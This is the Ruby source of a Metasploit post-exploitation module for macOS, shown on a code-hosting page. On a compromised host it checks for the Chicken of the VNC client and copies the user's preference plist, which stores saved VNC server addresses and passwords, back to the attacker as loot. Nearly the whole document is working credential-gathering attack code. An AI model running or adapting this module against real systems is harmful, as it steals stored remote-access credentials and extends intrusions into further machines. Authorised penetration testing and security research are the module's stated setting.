Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/osx/gather/enum_chicken_vnc_profile.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File78def initialize(info = {})9super(10update_info(11info,12'Name' => 'OS X Gather Chicken of the VNC Profile',13'Description' => %q{14This module will download the "Chicken of the VNC" client application's15profile file, which is used to store other VNC servers' information such16as the IP and password.17},18'License' => MSF_LICENSE,19'Author' => [ 'sinn3r'],20'Platform' => [ 'osx' ],21'SessionTypes' => [ 'meterpreter', 'shell' ]22)23)24end2526def whoami27exec('/usr/bin/whoami')28end2930#31# This is just a wrapper for cmd_exec(), except it chomp() the output,32# and retry under certain conditions.33#34def exec(cmd)35tries = 036begin37out = cmd_exec(cmd).chomp38rescue ::Timeout::Error => e39tries += 140if tries < 341vprint_error("#{@peer} - #{e.message} - retrying...")42retry43end44rescue EOFError => e45tries += 146if tries < 347vprint_error("#{@peer} - #{e.message} - retrying...")48retry49end50end51end5253def dir(path)54subdirs = exec("ls -l #{path}")55return [] if subdirs =~ /No such file or directory/5657items = subdirs.scan(/[A-Z][a-z][a-z]\x20+\d+\x20[\d:]+\x20(.+)$/).flatten58return items59end6061def locate_chicken62dir('/Applications/').each do |folder|63m = folder.match(/Chicken of the VNC\.app/)64return true65end6667return false68end6970def get_profile_plist(user)71f = exec("cat /Users/#{user}/Library/Preferences/com.geekspiff.chickenofthevnc.plist")72if f =~ /No such file or directory/73return nil74else75return f76end77end7879def save(file)80p = store_loot(81'chickenvnc.profile',82'bin',83session,84file,85'com.geekspiff.chickenofthevnc.plist'86)8788print_good("#{@peer} - plist saved in #{p}")89end9091def run92@peer = "#{session.session_host}:#{session.session_port}"93user = whoami9495if !locate_chicken96print_error("#{@peer} - Chicken of the VNC is not installed")97return98else99print_status("#{@peer} - Chicken of the VNC found")100end101102plist = get_profile_plist(user)103if plist.nil?104print_error('No profile plist found')105elsif !plist.nil?106save(plist)107end108end109end110111112